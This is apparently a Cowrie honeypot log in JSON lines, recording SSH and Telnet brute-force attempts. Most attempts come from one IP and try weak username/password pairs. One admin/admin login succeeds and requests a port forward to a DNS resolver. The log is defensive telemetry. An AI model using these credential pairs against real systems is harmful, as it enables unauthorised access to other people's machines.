{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:32.984462Z","src_ip":"45.156.87.254","session":"27a24ccb1f2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:33.399014Z","src_ip":"45.156.87.254","session":"27a24ccb1f2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:34.484333Z","src_ip":"45.156.87.254","session":"27a24ccb1f2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":52570,"dst_ip":"10.17.0.5","dst_port":23,"session":"68168d4b710d","protocol":"telnet","message":"New connection: 20.123.41.163:52570 (10.17.0.5:23) [session: 68168d4b710d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:35.204879Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38750,"dst_ip":"159.203.135.109","dst_port":22,"session":"917aba9e2363","protocol":"ssh","message":"New connection: 45.156.87.254:38750 (159.203.135.109:22) [session: 917aba9e2363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:37.365973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:37.370549Z","src_ip":"45.156.87.254","session":"917aba9e2363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:37.452670Z","src_ip":"45.156.87.254","session":"917aba9e2363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:37.800417Z","src_ip":"45.156.87.254","session":"917aba9e2363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:38.887326Z","src_ip":"45.156.87.254","session":"917aba9e2363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52270,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d7ecb661630","protocol":"ssh","message":"New connection: 45.156.87.254:52270 (159.203.135.109:22) [session: 1d7ecb661630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:41.762638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:41.767816Z","src_ip":"45.156.87.254","session":"1d7ecb661630","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:41.850257Z","src_ip":"45.156.87.254","session":"1d7ecb661630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:42.102354Z","src_ip":"45.156.87.254","session":"1d7ecb661630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:43.192375Z","src_ip":"45.156.87.254","session":"1d7ecb661630","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31874,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7648475df75","protocol":"ssh","message":"New connection: 87.251.64.176:31874 (10.17.0.5:22) [session: c7648475df75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:43.679477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:43.684692Z","src_ip":"87.251.64.176","session":"c7648475df75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:43.781697Z","src_ip":"87.251.64.176","session":"c7648475df75","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:44.071533Z","src_ip":"87.251.64.176","session":"c7648475df75","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:44.170911Z","session":"c7648475df75","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:44.269620Z","src_ip":"87.251.64.176","session":"c7648475df75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:44.368170Z","src_ip":"87.251.64.176","session":"c7648475df75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":37532,"dst_ip":"10.17.0.5","dst_port":23,"session":"6de4b83b79b5","protocol":"telnet","message":"New connection: 20.123.41.163:37532 (10.17.0.5:23) [session: 6de4b83b79b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:44.777805Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52282,"dst_ip":"159.203.135.109","dst_port":22,"session":"e62b449a1fec","protocol":"ssh","message":"New connection: 45.156.87.254:52282 (159.203.135.109:22) [session: e62b449a1fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:46.176112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:46.183586Z","src_ip":"45.156.87.254","session":"e62b449a1fec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:46.267050Z","src_ip":"45.156.87.254","session":"e62b449a1fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:46.515581Z","src_ip":"45.156.87.254","session":"e62b449a1fec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:47.734782Z","src_ip":"45.156.87.254","session":"e62b449a1fec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47272,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd690ac75446","protocol":"ssh","message":"New connection: 45.156.87.254:47272 (159.203.135.109:22) [session: fd690ac75446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:50.516444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:50.521542Z","src_ip":"45.156.87.254","session":"fd690ac75446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:50.605421Z","src_ip":"45.156.87.254","session":"fd690ac75446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:50.853139Z","src_ip":"45.156.87.254","session":"fd690ac75446","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:51.938258Z","src_ip":"45.156.87.254","session":"fd690ac75446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47284,"dst_ip":"159.203.135.109","dst_port":22,"session":"69cb3f74c1d4","protocol":"ssh","message":"New connection: 45.156.87.254:47284 (159.203.135.109:22) [session: 69cb3f74c1d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:55.132575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:55.158456Z","src_ip":"45.156.87.254","session":"69cb3f74c1d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:55.250590Z","src_ip":"45.156.87.254","session":"69cb3f74c1d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:55.553005Z","src_ip":"45.156.87.254","session":"69cb3f74c1d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:56.638960Z","src_ip":"45.156.87.254","session":"69cb3f74c1d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34996,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c0c0c23373d","protocol":"ssh","message":"New connection: 45.156.87.254:34996 (159.203.135.109:22) [session: 4c0c0c23373d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:59.468785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:59.472875Z","src_ip":"45.156.87.254","session":"4c0c0c23373d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:17:59.707587Z","src_ip":"45.156.87.254","session":"4c0c0c23373d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jumpserver","password":"jumpserver","message":"login attempt [jumpserver/jumpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:00.029532Z","src_ip":"45.156.87.254","session":"4c0c0c23373d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:01.126009Z","src_ip":"45.156.87.254","session":"4c0c0c23373d","protocol":"ssh"}
